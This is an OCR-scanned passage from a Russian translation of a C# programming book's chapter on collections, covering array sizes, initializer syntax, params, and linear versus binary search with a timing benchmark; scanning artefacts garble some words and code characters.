Глава 5 ется обязательным — размер второго массива устанавливается пут вычисления этого выражения на этапе выполнения. И в первом, и втором случае размер будет равен 10, поскольку для второго масся используется свойство Length первого массива. Это свойство только д чтения есть у каждого массива; оно возвращает общее количество ( элементов. Свойство Length принадлежит к типу int, потому максимальнаяш на массива, с которой оно может справиться, — «всего» около 2,1 мюи арда элементов. Для 32-разрядных систем это редко представляет щ блему, поскольку более вероятным ограничивающим фактором в в является доступное адресное пространство. Платформа .NET также ш держивает 64-разрядные системы, которые могут работать с массива большего размера, потому также существует свойство LongLength с 1 пом long. Однако это свойство используется достаточно редко, поска ку в настоящее время среда CLR не поддерживает создание массив! у которых количество элементов в любом отдельном измерении прев шает 2 147 483 591 (0x7FEFFFFF). Поэтому содержать большее элем< тов, чем то количество, с каким может справиться свойство Length, ci собны только прямоугольные многомерные массивы (о которых бу; рассказано далее в этой главе). И даже такие массивы обладают верхи пределом в 4 294 967 295 (OxFFFFFFFF) элементов. По умолчанию .NET накладывает еще одно ограничение, см торым вы быстро столкнетесь: один массив обычно не мох 3*5занимать больше 2 ГБ памяти. (Таково верхнее ограничен на размер любого одиночного объекта. На практике до это предела обычно доходят только массивы, хотя, в принци! подобное вероятно и в случае очень длинных строк.) Начин с версии 4.5 платформы .NET, вы можете преодолеть да ное ограничение, добавив элемент <gcAllowVeryLargeObjec enabled=”true” /> в раздел <runtime> в файле Арр.confignpoe та. Хотя это не снимает описанных выше ограничений накол чество элементов, они все же не столь жесткие по сравнен! с потолком в 2 ГБ. В листинге 5.1 я отхожу от своего обычного правила опускать и лишние имена типов в объявлениях переменных. Выражения иници лизаторов ясно указывают на то, что переменные — это массивы та int и string, и обычно в таком объявлении я использую ключевое сло1 var. В данном случае я сделал исключение, чтобы показать, как зап Яв
Коллекции сывается имя типа массива. Типы массивов — самостоятельные типы, и если нужно сослаться на таковой, представляющий собой одномер- ный массив с элементами определенного типа, необходимо поставить квадратные скобки [ ] после имени типа элементов. Все типы массивов являются производными от общего базового класса с именем System.Array. В данном классе определены свойства Length и LongLength, а также ряд других членов, каждый из которых мы в свое время рассмотрим. Типы массивов допускается использовать во всех обычных местах, там же, где и другие типы. Так, например, можно объявить поле или параметр метода с типом string!].Типы массивов также применяются в качестве аргумента обобщенного типа. Например, тип IEnumerable<int[]> будет представлять собой последовательность целочисленных массивов (которые могут обладать разным размером). Тип массива всегда является ссылочным вне зависимости от типа элементов. Несмотря на это, выбор между ссылочным и значимым ти- пом элементов оказывает существенное влияние на поведение массива. Как упоминалось в главе 3, если поле объекта относится к значимому типу, то значение размещается непосредственно в выделенной для объ- екта памяти. То же самое справедливо и для массивов — если элементы относятся к значимому типу, то значение размещается непосредственно в элементе массива, в то время как в случае ссылочного типа элементы содержат только ссылки. Каждый экземпляр ссылочного типа обладает собственной идентичностью, и поскольку на этот экземпляр могут ссы- латься сразу несколько переменных, среде CLR необходимо управлять его временем жизни независимо от любых других объектов, что в итоге приводит к использованию для него отдельного блока памяти. Таким образом, в то время как массив из 1000 значений типа int может цели- ком поместиться в одном непрерывном блоке памяти, в случае элемен- тов ссылочного типа массив будет содержать лишь ссылки, а не реаль- ные экземпляры. Массиву из 1000 разных строк потребуется 1001 блок в куче — один для массива и по одному для каждой строки. В случае элементов ссылочного типа не обязательно делать так, чтобы каждый элемент массива ссылался на отдельный объект. Любое количество элементов может оставаться уста- новленным в null, и несколько элементов способны ссылаться на один и тот же объект. Это лишь еще одно замечание о том, что ссылки в элементах массива действуют практически так же, как ссылки в локальных переменных и полях. 219
Глава 5 Для доступа к элементу массива следует указать индекс этого эле- мента в квадратных скобках. Отсчет индекса начинается с нуля. Приме- ры использования элементов массива демонстрирует листинг 5.2. Листинг 5.2. Доступ к элементам массива // Продолжение листинга 5.1 numbers[0] = 42; numbers[1] = numbers.Length; numbers[2] = numbers[0] + numbers[1]; numbers[numbers.Length - 1] = 99; Как и при создании экземпляра массива, индекс массива может быть константой, но также и более сложным выражением, вычисляемым на этапе выполнения. В действительности то же самое можно сказать и о части кода, расположенной перед открывающей квадратной скобкой. В листинге 5.2 для обращения к массиву используется имя переменной, однако перед квадратными скобками может стоять любое выражение, вычисление которого дает массив. Код в листинге 5.3 извлекает первый элемент массива, возвращаемого вызовом метода. (Подробности приме- ра не столь важны, однако, если вам интересно, данный код находит со- общение об авторском праве, ассоциированное с тем компонентом, в ко- тором определен тип объекта. Например, если передать этому методу объект типа string, он возвратит сообщение <© Microsoft Corporation. All rights reserved.* («© Microsoft Corporation. Все права защищены».) При этом применяется API-интерфейс отражения и пользовательские атрибуты, которые являются темами, соответственно, глав 13 и 15.) Листинг 5.3. Сложный доступ к массиву ' public static string GetCopyrightForType(object о) { Assembly asm = o.GetType().Assembly; var copyrightAttribute = (AssemblyCopyrightAttribute) asm.GetCustomAttributes( typeof(AssemblyCopyrightAttribute), true)[0]; return copyrightAttribute.Copyright; } Выражения для доступа к элементам массива обладают той особен- ностью, что C# считает их разновидностью переменной. Это означает, что, подобно локальным переменным и полям, их можно использовать в левой части инструкции присваивания вне зависимости от того, яв- 220
Коллекции ляются ли они простыми, как в листинге 5.2, или более сложными, как в листинге 5.3. Среда CLR всегда сверяет индекс с размером массива. При попытке использовать отрицательный индекс или индекс, который превышает длину массива или равен ей, среда выполнения выбросит исключение IndexOutOfRangeException. Хотя размер массива без каких-либо исключений из этого правила является фиксированным, его содержимое всегда изменяемо — мас- сивов, доступных только для чтения, не существует. (Как мы увидим позднее, платформа .NET Framework предоставляет класс, способный выступать в качестве доступного только для чтения «фасада» массива.) Конечно, вы можете создать массив с неизменяемым типом элементов, и это не позволит модифицировать их прямо на месте. Так, код в ли- стинге 5.4, где используется предоставляемый платформой .NET неиз- меняемый значимый тип Complex, не откомпилируется. Листинг 5.4. Как не следует модифицировать массив с неизменяемыми элементами var values = new Complex [ 10]; // Обе следующие строки вызовут ошибку компилятора: values[0] .Real = 10; values[0] .Imaginary = 1; Компилятор выдаст сообщение об ошибке, поскольку свойства Real и Imaginary доступны только для чтения; тип Complex не предоставляет никакого способа для модификации своих значений. Однако даже такой массив можно модифицировать: если нельзя изменить существующий элемент на месте, его всегда можно переписать, предоставив совершен- но новое значение, как показано в листинге 5.5. Листинг 5.5. Модификация массива с неизменяемыми элементами var values = new Complex [10]; values[0] = new Complex (10, 1); От массивов, доступных только для чтения, в любом случае было бы мало пользы, поскольку вначале все массивы заполняются значениями по умолчанию, специфицировать которые у вас нет возможности. Среда CLR заполняет выделенную для массива память нулями, что дает в ре- зультате, в зависимости от типа элементов массива, значения 0, null или false. И хотя для некоторых приложений содержимое из одних нулей 221
Глава 5 (или эквивалентных значений) может быть удобным исходным coctoi нием массива, иногда перед началом работы требуется заполнить мае сив чем-то другим. Инициализация массивов Самый простой способ инициализации массива состоит в том, что бы поочередно присвоить значение каждому элементу. В листинге 5. создается массив с элементами типа string, и поскольку тип string яв ляется ссылочным, создание массива из пяти элементов не приводи к созданию пяти строк. Вначале этот массив содержит пять значенш null. Потому далее производится заполнение каждого элемента массив ссылкой на строку. Листинг 5.6. Трудоемкий способ инициализации массива var workingWeekDayNames = new string[5]; workingWeekDayNames[0] = "Понедельник"; workingWeekDayNames[1] = "Вторник"; workingWeekDayNames[2] = "Среда"; workingWeekDayNames[3] = "Четверг"; workingWeekDayNames[4] = "Пятница"; Хотя данный код будет прекрасно работать, он излишне многосло- вен. Достичь той же цели можно, используя и более короткий синтак- сис, показанный в листинге 5.7. Компилятор C# преобразует его в код эквивалентный приведенному в листинге 5.6. Листинг 5.7. Синтаксис инициализатора массива var workingWeekDayNames = new string[] { "Понедельник", "Вторник", "Среда", "Четверг", "Пятница" }; Можно пойти еще дальше. Как показывает листинг 5.8, если вы ука- жете тип в объявлении переменной, то сможете опустить ключевое слово new, записав только список инициализатора. Однако следует отметить, что данный синтаксис следует использовать только в выражениях ини- циализаторов, но не для создания массива в других выражениях, таких как выражения присваивания или аргументы методов. (Более много- словное выражение инициализатора из листинга 5.7 можно использо- вать во всех этих контекстах.) 222
Коллекции Листинг 5.8. Более короткий синтаксис инициализатора массива string[] workingWeekDayNames = { "Понедельник", "Вторник", "Среда", "Четверг", "Пятница" }; Можно пойти и еще дальше. Если все выражения внутри списка инициализатора массива будут относиться к одному и тому же типу, то компилятор сможет логически вывести тип массива; это позволяет нам записать только new [ ], не указывая явно тип элементов. Данный способ демонстрирует листинг 5. 9. Листинг 5.9. Синтаксис инициализатора массива с выведением типа элементов var workingWeekDayNames = new[] { "Понедельник", "Вторник", "Среда", "Четверг", "Пятница" }; В действительности такой код чуть длиннее, чем пример из листин- га 5.8. Однако, как и в случае листинга 5.7, применение данного способа не ограничивается лишь инициализацией переменных. Его, например, можно использовать, когда требуется передать массив в качестве аргу- мента метода. Если вы создаете массив только для того, чтобы передать его в метод, и не планируете ссылаться на него нигде в дальнейшем, то можно обойтись без объявления ссылающейся на него переменной. Возможно, будет лучше использовать более лаконичный синтаксис и записать массив непосредственно в список аргументов. Листинг 5.10 демонстрирует применение этого приема для передачи в метод массива строк. Листинг 5.10. Передача массива в качестве аргумента SetHeaders(new[] { "Понедельник", "Вторник", "Среда", "Четверг", "Пятница" }); Существует также один сценарий, в котором передача массива аргу- ментов может осуществляться еще проще. Передача переменного числа аргументов с помощью ключевого слова params Некоторым методам требуется обладать возможностью принимать различный объем данных в разных ситуациях. Для примера возьмем метод Console.WriteLine, я часто использую его в этой книге для выво- да информации. В большинстве случаев я передаю в него одну строку, однако он способен отформатировать и отобразить и другие фрагменты 223
Глава 5 данных. Как показывает листинг 5.11, в строку можно поместить меш заполнители, такие как {0} и {1}, которые будут ссылаться на распою* женные после строки аргументы (в нашем случае первый и второй ар- гумент). Листинг 5.11. Форматирование строк с помощью метода Console. WriteLine f Console.WriteLine("PI: {0}. Квадратный корень числа 2: {If, Math.FI, Math.Sqrt(2)); । Console.WriteLine("Текущее время {0}", DateTime.Now); Console.WriteLine("{0}, {1}, {2}, {3}, {4}", 1, 2, 3, 4, 5); Если вы заглянете в документацию по методу Console.WriteLine.! увидите, что он предлагает несколько перегруженных версий, приним ющих различное количество аргументов. Разумеется, метод предлага лишь некоторое ограниченное число перегрузок, однако если попр буете его применить, вы обнаружите, что на этом его возможности i ограничиваются. После строки можно передать любое количество арг ментов, и цифры меток-заполнителей способны возрастать настольк насколько необходимо для ссылки на эти аргументы. В последней стр ке листинга 5.11 после строки передается пять аргументов, и данный ко работает, даже несмотря на то что класс Console не определяет перегруз ку метода для такого количества аргументов. Все случаи, когда количество аргументов после строки превыш; ет определенное число (а именно, три), берет на себя одна конкретю перегрузка метода Console .WriteLine. Эта перегрузка принимает толы два аргумента: объект типа string и массив типа object []. Причем кс который компилятор генерирует для вызова метода, создает маш включающий все указанные после строки аргументы, и передает их м тоду. Таким образом, последняя строка в листинге 5.11, по сути, эквш лентна коду, представленному в листинге 5.12. Листинг 5.12. Явная передача нескольких аргументов в виде массива Console.WriteLine("{О}, {1}, {2}, {3}, {4}", new object[] (1, 2, 3, 4, 5 |i Компилятор поступает так только с параметрами, аннотированные ключевым словом params. Как выглядит соответствующее объявлен] метода Consfrte\ WriteLine, демонстрирует листинг 5.13. Листинг 5.13. Ключевое слово params public static void WriteLine(string format, params object[] arg) 224
Коллекции Ключевое слово params используется только для последнего параме- тра метода, и в качестве его типа должен быть указан массив. В данном случае это тип object [ ], а следовательно, допускается передавать объ- екты любого типа, однако при необходимости ограничить передаваемые аргументы вы можете указать их тип более конкретно. Когда у метода есть перегруженные версии, компилятор C# 4 * выполняет поиск той из них, параметры которой наилучшим В?»'образом соответствуют предоставленным аргументам. Вер- сию с аргументом params он рассмотрит только в том случае, если не подойдет ни одна из более конкретных. Возможно, у вас возник вопрос, зачем же в таком случае класс Console предлагает перегрузки, принимающие один, два и три аргумента типа object. Наличие версии с ключевым словом params, казалось бы, делает их излишними — она позволяет передавать любое количество аргумен- тов после строки, так какой же смысл создавать перегрузки, которые принимают конкретное число аргументов? Они были определены для того, чтобы предоставить возможность обойтись без выделения памяти для массива. Я не хочу сказать, что массивы занимают болиде памяти — они требуют ее не больше, чем любой другой объект того же размера. Однако определенные затраты влечет за собой само выделение памяти. Каждый ее блок, который вы выделяете для своих объектов, в конечном счете должен быть освобожден сборщиком мусора (за исключением тех объектов, которые присутствуют на протяжении всего времени жизни программы), потому снижение числа выделяемых блоков памяти обыч- но хорошо сказывается на производительности. По этой причине боль- шинство API-интерфейсов в библиотеке классов .NET Framework, ко- торые принимают переменное число аргументов с помощью ключевого слова params, также предлагают перегрузки, позволяющие передавать небольшое их количество без необходимости выделять память для мас- сива. Поиск и сортировка Иногда вы не будете знать индекс нужного вам элемента массива. Допустим, что вы разрабатываете приложение, выводящее список не- давно использовавшихся файлов. Каждый раз, когда кто-либо откры- вает в вашем приложении файл, его необходимо поместить в начало 225
Глава 5 списка. Чтобы один и тот же файл не появлялся в списке несколько раз, потребуется выполнять проверку его присутствия в списке. Если для о? крытия файла человек воспользуется данным списком, то вам уже будет известно, что файл есть в списке — и в каком именно его месте. Одна» если файл будет открыт каким-то другим образом? В этом случае, рас- полагая именем файла, необходимо определить, в каком месте списка оно встречается, и встречается ли вообще. С поиском в подобном сценарии помогают массивы. Они предлага- ют методы для поочередного обхода элементов с остановкой при первом совпадении, а также методы, способные работать намного быстрее, если элементы массива будут упорядочены. Обеспечить последнее условие позволяют методы для сортировки содержимого массива в нужном по- рядке. Наиболее простой способ поиска элемента предоставляет статиче- ский метод Array. IndexOf. Он не требует, чтобы элементы массива были упорядочены: достаточно передать ему массив и искомое значение, и ои выполнит обход элементов, остановившись, когда нужным вам будет найден. Данный метод возвращает индекс элемента с совпадающим зна- чением или -1, если, дойдя до конца массива, он не обнаружит совпаде- ний. Листинг 5.14 демонстрирует применение этого метода в качестве Составной части логики для обновления списка недавно открывавшихся файлов/ Листинг 5.14. Поиск с помощью метода IndexOf int recentFileListlndex = Array.IndexOf(myRecentFiles, openedFile); if (recentFileListlndex < 0) { AddNewRecentEntry(openedFile) ; } else { MoveExistingRecentEntryToTop(recentFileListlndex); } Код начинает поиск с самого первого элемента массива. У метода IndexOf есть перегруженные версии, благодаря чему можно дополни- тельно передать индекс, с которого следует начать поиск и, опционально, второе число, указывающее, сколько элементов необходимо проверить, прежде чем прекратить поиск. Существует также метод LastlndexOf, 226
Коллекции выполняющий обход в обратном направлении. Если не указать индекс, этот метод начнет поиск с конца массива по направлению к его началу. Как и в случае с методом IndexOf, можно предоставить один или два до- полнительных аргумента, которые будут указывать, с каким смещением от конца массива следует начать поиск и сколько элементов необходимо проверить. Данные методы прекрасно справляются с ситуацией, когда вы точно знаете, какое значение необходимо найти, однако довольно часто бывает нужно проявить чуть больше гибкости: иногда требуется найти первый (или последний) элемент, удовлетворяющий некоторым конкретным критериям. Например, допустим, что у вас есть массив, представляющий значения столбцов гистограммы. При этом может оказаться полезным найти первый ненулевой столбец. Таким образом, вместо того, что06 искать конкретное значение, вы должны будете найти первый элемент, значение которого не равно нулю. Листинг 5.15 показывает, как мож- но использовать метод Findindex для обнаружения первого элемента со значением, удовлетворяющим конкретным критериям. Листинг 5.15. Поиск с помощью метода Findindex « public static int GetlndexOfFirstNonEmptyBin(int[] bins) { return Array.Findindex(bins, IsGreaterThanZero); I private static bool IsGreaterThanZero(int value) { return value > 0; } Мой метод IsGreaterThanZero содержит логику принятия решения в отношении того, является ли конкретный элемент совпадающим, и я передаю его в качестве аргумента методу Findindex. Можно передать любой метод с подходящей сигнатурой — Findindex требует метод, при- нимающий экземпляр типа элементов массива, и возвращает значение типа bool. (Строго говоря, метод Findindex принимает тип Predicate<T>, годится любой метод с подходящей сигнатурой, критерии поиска можно Вделать настолько простыми или сложными, насколько это нам необхо- димо.) Кстати, следует отметить, что в данном конкретном примере ис- пользуется настолько простая логика, что создание для условия отдель- 227
Глава 5 ного метода, вероятно, будет излишеством. В подобных очень простых случаях вместо метода, как правило, используется синтаксис лямбда- выражения. Этот синтаксис тоже будет рассмотрен в главе 9, однако я все же -позволю себе немного забежать вперед и показать, насколько лаконичнее он выглядит. Код в листинге 5.16 производит точно такой же эффект, что и код в листинге 5.15, в то же время позволяя обойтись без создания явного объявления дополнительного метода. Листинг 5.16. Использование метода Findindex совместно с лямбда-выражением public static int GetlndexOfFirstNonEmptyBin(int[] bins) { return Array.Findindex(bins, value => value > 0); } Как и метод IndexOf, Findindex предоставляет перегрузки, позво- ляющие указать, с каким смещением следует начать поиск и сколько элементов необходимо проверить. Класс Array также предоставляет ме- тод FindLastlndex, выполняющий обход в обратном направлении — как Findindex соответствует IndexOf, данный метод соответствует методу LastlndexOf. Когда вы выполняете поиск элемента массива, удовлетворяюще- го некоторым конкретным критериям, вас может интересовать только значение первого совпадающего элемента и совсем не интересовать его индекс. Очевидно, что получить это значение довольно легко: можно просто использовать возвращаемое методом Findindex значение в соче- тании с синтаксисом индекса массива. Однако вам не придется этого делать, поскольку класс Array предлагает методы Find и FindLast, кото- рые выполняют поиск точно так же, как Findindex и FindLastlndex, но возвращают не индекс первого или последнего элемента с совпадающим значением, а непосредственно само это значение. Критериям поиска могут удовлетворять значения нескольких эле- ментов массива, и вам может потребоваться найти их все. Для этого мож- но написать цикл, вызывающий метод Findindex, после чего, увеличив индекс найденного совпадения на единицу, использовать его в качестве отправной точки для следующего поиска. Эти шаги будут выполняться либо до достижения конца массива, либо до получения результата -I, указывающего на то, что в массиве больше нет совпадающих значений. Использовать такой метод следует в том случае, если вам нужно знать индекс каждого совпадения. Если же вы заинтересованы лишь в том, 228
Коллекции чтобы получить все совпадающие значения, и для вас не важно, в каком именно месте массива находятраиэти значения, то для выполнения всей работы можно использовать FindAll, как показано в листинге 5.17. Листинг 5.17. Нахождение нескольких элементов с помощью метода FindAll public Т[] GetNonNullItems<T>(T[] items) where T : class { return Array.FindAll(items, value => value != null); I Данный код принимает любой массив с элементами ссылочного типа и возвращает массив, содержащий не равные null элементы исходного массива. Все рассмотренные к настоящему моменту методы по очереди об- ходят и проверяют каждый элемент массива. Хотя они вполне успешно справляются со своей задачей, в случае большого массива такой под- ход может быть неоправданно затратным, особенно когда выполняется сложное сравнение элементов. Даже в случае, простой проверки, если массив будет содержать миллионы элементов, такой спрсоб сортировки может занять достаточно много времени, чтобы это привело к ощути- мым задержкам. Однако мы можем использовать и более эффективный подход. Например, в массиве отсортированных в возрастающем порядке значений можно применить бинарный поиск, производительность кото- рого будет на несколько порядков выше. Пример использования данно- го способа представлен в листинге 5.18. Листинг 5.18. Производительность поиска и метод Binarysearch var sw = new Stopwatch(); int[] big = new int[100000000]; Console.WriteLine("Инициализация"); sw.Start () ; var r = new Random(0); for (int i = 0; i < big.Length; ++i) { big[i] = r.Next(big.Length); I sw.StopO ; Console.WriteLine(sw.Elapsed.ToString("s\\.f")); Console.WriteLine (); Console.WriteLine ("Поиск"); 229
Глава 5 for (int i = 0; i < 6; ++i) { int searchFor = r.Next(big.Length); sw.Reset(); sw.StartO; int index = Array.IndexOf(big, searchFor); sw.StopO ; Console.WriteLine("Индекс: {0}", index); Console.WriteLine("Время: {0:s\\.ffffsw.Elapsed); } Console.WriteLine(); Console.WriteLine("Сортировка"); sw.Reset(); sw.StartO ; Array.Sort(big); sw.Stop(); Console.WriteLine(sw.Elapsed.ToString("s\\.f")); Console.WriteLine (); Console.WriteLine("Поиск (бинарный)"); for (int i = 0; i < 6; ++i) { int searchFor = r.NextO % big.Length; sw. Reset 07’ sw.Start(); int index = Array.BinarySearch(big, searchFor); sw.StopO ; Console.WriteLine("Индекс: {0}", index); Console.WriteLine("Время: {0:s\\.fffffffsw.Elapsed); ) В примере создается массив типа int [ ], содержащий 100 000 000 значений. Массив заполняется случайными числами* с помощью класса Random, после чего с помощью метода Array. IndexOf в нем выполняется поиск ряда случайным образом выбранных значений. Затем массив со- ртируется в возрастающем порядке путем вызова метода Array. Sort. Это позволяет воспользоваться методом Array.BinarySearch и выполнить поиск еще нескольких случайным образом выбранных значений. Для измерения длительности всех операций используется класс Stopwatch * Я ограничил диапазон случайных чисел до размера массива, поскольку если бы мы использовали весь диапазон класса Random, в большинстве случаев поиск заканчивался бы неудачей. 230
Коллекции из пространства имен System. Diagnostics. (Возможно, вы обратили вни- мание на странного вида аргумент последнего метода Console. WriteLine. Это спецификатор формата, указывающий, сколько знаков после запя- той необходимо отобразить.) Выполняя измерение продолжительности столь малых операций, мы вступаем на зыбкую почву микротестов про- изводительности. Измерение длительности единичных операций в от- рыве от их контекста может легко ввести вас в заблуждение, поскольку в реальных системах производительность зависит от множества факто- ров, которые взаимодействовуют сложным и подчас непредсказуемым образом. Так что полученные цифры следует воспринимать с изрядной долей скептицизма. Однако даже учитывая это, пример демонстрирует разительную разницу в длительности. Ниже представлены результаты, которые я получил в своей системе: Инициализация 2.2 Поиск Индекс: 55504605 Время: 0.0750 Индекс: 21891944 Время: 0.0298 Индекс: 56663763 *** Время: 0.0776 ' Индекс: 37441319 Время: 0.0561 Индекс: -1 Время: 0.1438 Индекс: 9344095 Время: 0.0130 Сортировка 17.4 Поиск (бинарный) Индекс: 8990721 Время: 0.0000549 Индекс: 4404823 Время: 0.0000021 Индекс: 52683151 Время: 0.0000050 Индекс: -37241611' Время: 0.0000028 Индекс: -49384544 231
Глава 5 Время: 0.0000032 Индекс: 88243160 Время: 0.0000065 Заполнение массива случайными числами заняло 2,2 секунды. (Большая часть этого времени ушла на генерирование случайных чисел. Заполнение массива константными или инкрементируемыми в цикле значениями заняло бы около 0,2 секунды.) Поиск с помощью метода IndexOf занимал каждый раз разное время. Медленнее всего этот метод работал при отсутствии в массиве искомого значения — поскольку поиск закончился неудачей, метод возвратил ин- декс -1, показав при этом наихудшее время в 0,1438 секунды. Причиной является то, что в данном случае методу IndexOf пришлось проверить все до последнего элементы массива. В тех случаях, когда метод находил совпадение, он работал быстрее, и скорость зависела от того, насколь- ко близко к началу массива располагалось искомое значение. Наиболее быстрым для данного конкретного запуска программы является случай, когда совпадение было найдено после проверки чуть более 9 миллионов элементов — это заняло 0,0130 секунды, что в 10 раз быстрее по сравне- нию с проверкой всех 100 миллионов элементов. Такой результат вполне предсказуем, и создается впечатление, что занимаемое время находится в линейной зависимости от количества проверенных элементов. Средняя продолжительность успешной операции поиска примерно в два раза меньше по сравнению с наихудшим случаем (при условии равномерного распределения случайных чисел), то есть составляет око- ло 0,07 секунды, а общая средняя продолжительность зависит от того, как часто поиск заканчивается неудачей. Хотя нельзя сказать, что это совсем уж плохой результат, но он явно приближается к проблемной зоне. Когда дело касается взаимодействия с пользователем, любая опе- рация, которая длится больше, чем 0,1 секунды, имеет тенденцию раз- дражать; таким образом, хотя в среднем наш поиск является достаточно быстрым, в наихудшем случае он выходит за эти рамки (а в менее произ- водительной системе результаты оказались бы еще хуже). И хотя в слу- чае клиентских сценариев такая производительность станет лишь пово- дом для легкого беспокойства, в случае веб-сервера с высокой нагрузкой она уже будет представлять серьезную проблему. Если выполнять такой объем работы для каждого веб-запроса, это наложит существенное огра- ничение на количество поддерживаемых пользователей. 232
Коллекции Теперь давайте взглянем на то, какое время показал бинарный по- иск. В данном случае поиск не ведется путем перебора всех элементов. Первым делом проверяется" элемент в середине массива. Если его зна- чение равно искомому, поиск можно прекратить; в противном случае, проверив, больше или меньше найденное значение, чем то, которое мы ищем, можно сразу определить, в какой половине массива находится ис- комое (если оно вообще там присутствует). Затем проверяется элемент в середине оставшейся половины, что, опять же, позволяет установить, в какой половине этой части массива находится искомое значение. На каждом шаге область поиска уменьшается вдвое и после определенно- го количества шагов она сократится до одного элемента. Если значение этого элемента не будет равно искомому, значит, того вовсе нет в мас- сиве. Это объясняет, почему в случае неудачи метод BinarySearch возвращает необычные отрицательные значения. Когда поиск ЗУ заканчивается неудачей, процесс деления массива пополам останавливается на значении, которое меньше всего отлича- ется от искомого, и эта информация может оказаться полез- ной. Таким образом, отрицательный знак числа говорит о том, что поиск закончился неудачей, а его значение показывает, чему равно ближайшее из того, что есть в массиве. Каждая итерация бинарного поиска сложнее, чем итерация простого линейного поиска, однако в случае больших массивов затраты окупа- ются за счет гораздо меньшего количества итераций. В данном примере нам потребовалось выполнить только 27 шагов вместо 100 000 000. Оче- видно, что с уменьшением размера массива это преимущество сокра- щается и в конце концов при некотором минимальном размере допол- нительные затраты из-за сравнительной сложности бинарного поиска уже начинают перевешивать выгоду от меньшего числа итераций. Если массив содержит только 10 значений, то линейный поиск вполне может оказаться быстрее. Однако в случае 100 000 000 элементов лидерство бинарного поиска не вызывает сомнений. Благодаря колоссальному снижению объема выполняемой работы метод BinarySearch демонстрирует намного более высокую скорость, чем IndexOf. В наихудшем случае время поиска составило 0,0000549 секунды (54,9 мкс), что примерно в 237 раз быстрее наилучшего результата ли- нейного поиска. И это было лишь в одном случае, при выполнении пер- 233
Глава 5 вой операции поиска; во всех остальных поиск выполнялся на порядок быстрее — настолько быстро, что уже начинают появляться сложности с точным измерением длительности отдельных операций*. Что, возмож- но, самое интересное, так это то, что случай, когда метод не находит иско- мое (и возвращает отрицательное значение), который оказался наихуд- шим у Array. IndexOf, у Binarysearch соответствует достаточно быстрому времени: отсутствие элемента в массиве было установлено примерно в 20 000 раз быстрее, чем при использовании линейного поиска. Помимо существенного снижения затрат процессорного времени на каждую операцию поиска, данный способ вызывает и гораздо меньше сопутствующих затрат. Одна из наиболее коварных проблем произво- дительности, с которыми могут сталкиваться современные компьютер- ные системы, случается, когда код не только является медленным сам по себе, но и заставляет медленнее работать все остальные части ком- пьютерной системы. В нашем примере метод IndexOf «перелопачивает» 400 Мб данных в случае неудачного поиска и в среднем 200 Мб, ког- да поиск заканчивается успешно. Это должно привести к очистке кэша процессора, в результате чего код и структуры данных, которые в про- тивном случае могли бы оставаться там, при следующем обращении к ним потребуется извлекать из более медленной основной памяти. Код, вызывающий метод IndexOf для такого большого массива, должен бу- дет заново загрузить свои данные в кэш по завершении поиска. Метод Binarysearch проверяет лишь очень небольшое количество элементов массива, и потому его влияние на кэш процессора будет минимальным. Существует лишь одна небольшая проблема: даже несмотря на су- щественное превосходство в скорости выполнения отдельных операций поиска, в целом производительность бинарного поиска оказалась в на- шем примере катастрофически низкой. Мы сэкономили почти треть се- кунды на операциях поиска, но чтобы это стало возможным, пришлось потратить 17,4 секунды на сортировку массива. Бинарный поиск допу- скается использовать только для отсортированных данных, и затраты на сортировку могут перевешивать выгоды от ускорения поиска. В этом конкретном примере затраты окупились бы лишь после 250 операций * Используя более сложные настройки тестирования, можно установить, что время в 54,9 мкс представляет собой исключительный результат: как оказывается, самая первая операция поиска выполняется медленнее последующих. Вполне возможно, это вызвано некоторыми накладными расходами среды CLR, такими как JIT-компиляция, которые не связаны с поиском и затрагивают только первый фрагмент кода, где выполняется вызов метода Binarysearch. Когда интервалы времени становятся столь малыми, микро- тесты производительности уже перестают нести в себе полезную информацию. 234
Коллекции поиска, и, конечно, лишь при условии, что за это время не произошло бы никаких изменений, требующих выполнить сортировку заново. Попутно следует заметить, что Метод Array .Binarysearch предлагает перегрузки для поиска внутри некоторой части массива, аналогичные таковым у других методов поиска. Он также позволяет вам использовать собственную логику сравнения. Это обеспечивается с помощью интер- фейсов сравнения — я говорил о них в предыдущих главах. По умолча- нию данный метод использует реализацию интерфейса IComparable<T>, которую предоставляют непосредственно элементы массива, однако вместо нее можно предоставить пользовательскую реализацию интер- фейса IComparer<T>. Метод Array.Sort, примененный мной для сорти- ровки элементов массива, также поддерживает сужение диапазона и ис- пользование пользовательской логики сравнения. Помимо методов, которые предоставляет непосредственно класс Array, существуют и другие, позволяющие выполнять поиск и сортиров- ку. Все массивы реализуют интерфейс IEnumerable<T> (где Т — тип эле- ментов массива), что означает возможность использования любых опера- ций, предоставляемых набором функций LINQ to Objects. Данный набор функций обеспечивает намного более широкий диапазон возможностей для выполнения поиска, сортировки, группировки, фильтрации и работы с коллекциями объектов вообще; мы рассмотрим их в главе 10. Одной из причин частичного наложения функциональности является то, что мас- сивы появились в .NET раньше, чем технология LINQ, однако, несмотря на это, в тех случаях, когда массивы предлагают собственные эквивален- ты для стандартных операторов LINQ, эти версии могут быть более эф- фективными, поскольку LINQ является обобщенным решением. Многомерные массивы Все массивы, которые мы рассматривали до сих пор, были одномер- ными, однако C# поддерживает и двумерные формы: зубчатые массивы и прямоугольные массивы. Зубчатые массивы Зубчатый массив — это просто массив массивов. Существование такой разновидности является естественным следствием того факта, что тип массива представляет собой отдельный тип, отличный от типа элементов. Поскольку int [ ] — отдельный тип, его можно использовать 235
Глава 5 I в качестве типа элементов другого массива. Синтаксис такого массива представлен в листинге 5Л9; в нем нет ничего удивительного. Листинг 5.19-Создание зубчатого массива int[][] arrays = new int[5][] { new[] { 1, 2 }, new[] { 1, 2, 3, 4, 5, 6 }, new[] { 1, 2, 4 }, new[] { 1 }, new[] { 1, 2, 3, 4, 5 } }; Здесь я опять отхожу от своего обычного правила для объявления переменных. Обычно в начале такого объявления я ставлю ключевое слово var, поскольку тип очевиден из инициализатора, однако я хотел показать и синтаксис объявления переменной, и синтаксис конструи- рования массива. Данный пример содержит и еще одну избыточность: при использовании синтаксиса инициализатора массива не обязательно явно указывать размер, поскольку компилятор способен установить его самостоятельно. Хотя я воспользовался такой возможностью в отноше- нии вложенных массивов, размер внешнего массива (5) я указал явно, чтобы показать, в каком месте это делается, и тем самым устранить ве- роятные недоразумения. Имя типа зубчатого массива записывается достаточно просто. В об- щем случае тип массива выглядит как ТипЭлементов [ ], поэтому если в качестве типа элементов используется int [ ], можно ожидать, что ре- зультирующий тип массива будет записан как int [ ] [ ]; именно это мы здесь и наблюдаем. Синтаксис конструктора отличается чуть большим своеобразием. Данный код объявляет массив из пяти массивов, и на первый взгляд выражение new int [5] [] кажется вполне естественным способом для этого. Данный способ записи хорошо согласуется 